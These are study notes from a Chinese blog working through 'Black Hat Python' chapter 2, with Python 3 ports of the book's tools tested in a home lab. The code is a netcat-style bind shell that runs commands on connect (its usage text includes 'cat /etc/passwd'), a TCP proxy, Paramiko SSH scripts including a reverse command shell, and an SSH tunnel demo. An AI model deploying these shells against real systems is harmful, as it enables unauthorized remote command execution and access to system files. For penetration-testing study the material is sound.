《python黑帽子:黑客与渗透测试编程之道》学习笔记(2)

《python黑帽子:黑客与渗透测试编程之道》第二章第2部分

取代netcat

netcat被称为网络界的瑞士军刀,功能强大,系统管理员自己用着方便,但是如果系统被入侵别人也用着方便,所以有些系统管理员会在系统中把netcat移除。但是有python环境啊,那么就可以自己写一个低配版的netcat用。
我参照书敲了代码,因为书上是python2环境下的代码,所以要想在python3环境下运行,需要作一些修改:
bhnet.py:

# -*- code: utf-8 -*-
import sys
import getopt
import threading
import subprocess
import socket

#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def usage():
    print("BHP Net Tool")
    print()
    print("Usage: bhpnet.py -t targt_host -p port")
    print("-l --listen          - listen on [host]:[port] for incoming connections")
    print("-e --execute=file_to_run - execute the given file upon receiving a connetction")
    print("-c command           - initialize a command shell")
    print("-u --upload-destination  - upon receiving connection upload a file and write to [destionation]")
    print()
    print()
    print("Examples: ")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
    print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
    sys.exit(0)

def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        #连接到目标主机
        client.connect((target,port))

        if len(buffer):
            client.send(buffer.encode("utf-8"))

        while True:
            recv_len = 1
            response = ""

            while recv_len:

                data = client.recv(4096)
                recv_len = len(data)
                response+= data.decode("utf-8")

                if recv_len < 4096:
                    break

            print(response)

            #等待更多的输入
            buffer = input("") #python中没有raw_input()
            buffer += "\n"

            client.send(buffer.encode("utf-8"))

    except:
        print("[*] Exception! Exiting.")
        client.close()

def server_loop():
    global target
    global port

    # 如果没有定义目标,那么我们监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        #分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler,
                                         args=(client_socket,))
        client_thread.start()

def run_command(command):

    command = command.rstrip()

    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)

    except:
        output = "Failed to execute command.\r\n"

    return output

def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检测上传文件
    if len(upload_destination):

        # 读取所有的字符并写下目标
        file_buffer = ""

        # 持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)


    if len(execute):
        output = run_command(execute)
        client_socket.send(output)

    if command:
        while True:
            client_socket.send(b" ")

            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024).decode("utf-8")

                response = run_command(cmd_buffer)

                client_socket.send(response)


def main():
    global listen
    global port
    global execute
    global upload_destination
    global target
    global command

    if not len(sys.argv[1:]): #获取参数
        usage()

    #读取命令行选项
    try:
        opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"

    #监听还是仅从标准输入发送数据
    if not listen and len(target) and port > 0:

        #从命令行读取内存数据
        # 这里将阻塞, 所以不再向标准输入发送数据时发送CTRL-D
        buffer = sys.stdin.read()

        #发送数据
        client_sender(buffer)

    # 开始监听并准备上传文件、执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        server_loop()

if __name__=="__main__":
    main()

代码写好后先输入“-h”试试:


图片.png

显示出了命令说明,然后输入命令开始监听端口号9999开启一个服务器:“python3 ./bhnet.py -l -p 9999 -c”,执行命令后是没有显示的。
打开另一个终端输入“python3 ./bhnet.py -t localhost -p 9999”,执行命令后也没有显示,然后按Crtl+D发送EOF指令:


图片.png

输入一些常见命令试试效果:
图片.png

我们可以看到程序返回了典型的命令行shell,就像用Xshell等SSH一样。
直接利用客户端发送HTTP请求试试:


图片.png

成功接收到数据。

TCP代理

这里的内容按照书上的写完代码后,不用运行就能从PyCharm的错误提示就可以看出hexdump函数有问题:

图片.png

书上注释说这个十六进制导出函数是从http://code.activestate.com/recipes/142812-hex-dumper/获得的,我打开这个地址,都是十年前的内容,应该还是版本的原因。
那么看看在python3中该怎么改。
首先看isinstance()这个函数,它用来判断一个对象是否是一个已知的类型。在python2中有两种表示字符序列的类型,分别为str和Unicode,python3也是用两种类型表示字符序列,分别为str和bytes。str包含Unicode字符,所以这里我们把unicode改为str试试。
再看xrange()。在python2中用range()函数创建一个证书列表,一般用在for循环中。xrange() 函数用法与 range完全相同,所不同的是生成的不是一个数组,而是一个生成器。python3中用range()替换了这两个函数。这里参考了菜鸟教程(https://www.runoob.com/python/python-2x-3x.html),想详细了解这两个函数的可以移步菜鸟教程(https://www.runoob.com/python/python-func-xrange.html)学习一下。
ord()函数的作用是返回字符串的ASCII数值或者Unicode数值:
图片.png

这个hexdump()函数的作用是输出可打印的ASCII码字符和数据包的十六进制值。
贴上代码:
proxy.py

# -*- coding:utf-8 -*-
import sys
import socket
import threading

'''
def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, str) else 2

    for i in range(0, len(src), length):
        s = src[i:i + length]
        hexa = ' '.join(["%0*X" % (digits, ord(x)) for x in s])
        text = ''.join([x if 0x20 <= ord(x) < 0x7F else '.' for x in s])
        result.append("%04X   %-*s    %s" % (i, length * (digits + 1), hexa, text))

    print('\n'.join(result))
'''
def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, str) else 2

    for i in range(0, len(src), length):
        s = src[i:i + length]
        hexa = ' '.join(["%0*X" % (digits, x) for x in s])
        text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
        result.append("%04X   %-*s    %s" % (i, length * (digits + 1), hexa, text))

    print('\n'.join(result))

def receive_from(connection):
    buffer = b""    # 不要忘记加b,代表bytes

    # 设置超时
    connection.settimeout(2)

    try:
        # 持续从缓存中读取数据知道没有数据或者超时
        while True:
            data = connection.recv(4096)
            if not data:
                break

            buffer += data
    except:
        pass

    return buffer


def request_handler(buffer):
    return buffer


def response_handler(buffer):
    return buffer


def proxy_handler(client_socket, remote_host, remote_port, receive_first):
    # 连接远程主机
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    # 如果必要,从远程主机接收数据
    if receive_first:
        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

        # 发送给响应处理
        remote_buffer = response_handler(remote_buffer)

        # 如果我们有数据传递给本地客户端,发送它
        if len(remote_buffer):
            print("[<==} Sending %d bytes to localhost." % len(remote_buffer))
            client_socket.send(remote_buffer)

    # 从本地循环读取数据,发送给远程主机和本地主机
    while True:

        # 从本地读取数据
        local_buffer = receive_from(client_socket)

        if len(local_buffer):
            print("[==>] Received %d bytes from localhost." % len(local_buffer))
            hexdump(local_buffer)

            # 发送给我们的本地请求
            local_buffer = request_handler(local_buffer)

            # 向远程主机发送数据
            remote_socket.send(local_buffer)
            print("[==>] Sent to remote.")

        # 接收响应的数据
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):
            print("[<==] Received %d bytes from remote." % len(remote_buffer))
            hexdump(local_buffer)

            # 发送到响应处理函数
            remote_buffer = response_handler(remote_buffer)

            # 将响应发送给本地socket
            client_socket.send(remote_buffer)

            print("[<==] Sent to localhost.")

        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print("[*] No more data. Closing connections.")

            break


def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except:
        print("[!!] Failed to listen on %s:%d" % (local_host, local_port))
        print("[!!] Check for other listening sockets or correct permissions.")
        sys.exit(0)

    print("[*] Listening on %s:%d" % (local_host, local_port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # 打印出本地连接信息
        print("[==>] Received incoming connection from %s:%d" % (addr[0], addr[1]))

        # 开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler,
                                        args=(client_socket, remote_host, remote_port, receive_first))

        proxy_thread.start()


def main():
    if len(sys.argv[1:]) != 5:
        print("Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]")
        print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
        sys.exit(0)

    # 设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    # 设置远程目标
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    # 告诉代理在发送远程主机之前连接和接受数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    server_loop(local_host, local_port, remote_host, remote_port, receive_first)


main()

给浏览器设置好代理,我们以访问百度为例跑一下代码看看效果。


浏览器设置代理
直接在pycharm的terminal运行命令

然后浏览器访问百度


效果图

通过Paramiko使用SSH

bh_sshcmd.py:

import threading
import paramiko
import subprocess


def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    # client.load_host_keys('')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.exec_command(command)
        print(ssh_session.recv(1024))
    return


ssh_command('192.168.196.129', 'zxy', '123456', 'id')

Linux系统开启SSH服务

成功执行了命令“id”

bh_sshRcmd.py:

# -*- coding:utf-8 -*-
import threading
import paramiko
import subprocess


def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    # client.load_host_keys('')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command.encode("utf-8"))
        print(ssh_session.recv(1024).decode("utf-8"))
        # 以上跟bh_sshcmd.y中的一样
        while True:
            command = ssh_session.recv(1024).decode("utf-8") # get the command from the SSH server
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output).encode("utf-8")
            except Exception as e:
                ssh_session.send(str(e).encode("utf-8"))
        client.close()
    return


ssh_command('127.0.0.1', 'zxy', '123456', 'ClientConnected')

bh_sshserver.py:

# -*- coding:utf-8 -*-
import socket
import paramiko
import threading
import sys

# 使用Paramiko示例文件的密钥
host_key = paramiko.RSAKey(filename='test_rsa.key') #https://github.com/paramiko/paramiko/blob/master/demos/test_rsa.key


class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        if (username == 'zxy') and (password == '123456'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED


server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print('[*] Listening for connections ...')
    client, addr = sock.accept()
except Exception as e:
    print('[-] Listen failed: ' + str(e))
    sys.exit(1)
print('[+] Got a connection!')

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException as x:
        print('[-] SSH negotiation failed')
    chan = bhSession.accept(20)
    print('[*] Authenticated')
    print(chan.recv(1024))
    chan.send(b'Welcome to bh_ssh')
    while True:
        try:
            command = input("Enter command: ").strip('\n')
            if command != 'exit':
                chan.send(command.encode("utf-8"))
                print(chan.recv(1024).decode("utf-8") + '\n')
            else:
                chan.send(b'exit')
                print('exiting')
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception as e:
    print('[-] Caught exception: ' + str(e))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

这个我改了几次,没有达到书上的效果,主要还是编码问题,回传过来的内容不能显示出来。执行命令没问题。这个问题先放着,待解决。我用显示文件、显示用户之类命令不能看到理想的效果,这里展示一下创建目录的效果吧。
先看一下当前目录下的所有目录:


没有其它的目录

启动server端:

启动server端.png


输入命令.png
创建了test目录.png

SSH隧道

一开始我没有理解SSH隧道是什么,找了一些资料看了看,发现一篇文章写的很好,传送门。
这部分的代码直接使用Paramiko示例文件中的一个叫做rforward.py的文件的代码,我看了看代码,python3环境下不需要修改代码。
下面开始做实验。
环境介绍:
Windows系统(此处不用IP地址)
路由器IP:192.168.1.1
Linux系统IP:192.168.1.120
我在本机上做实验时使用了这篇文章的方法,即我在Windows上连接了192.168.1.120的SSH服务端并在服务端打开了8080端口,程序将数据流导向192.168.1.1主机(也就是路由器)的80端口,路由器作充当web服务器的角色。

Windows上访问路由器成功

在Linux上访问路由器失败

打开Linux系统上的SSH服务

在Windows上执行命令:

rforward.py 192.168.1.120 -p 8080 -r 192.168.1.1:80 --user zxy --password
在Linux系统上使用浏览器访问路由器成功

再看看Windows上的日志


到这里这本书的第二章就结束了。

你可能感兴趣的:(《python黑帽子:黑客与渗透测试编程之道》学习笔记(2))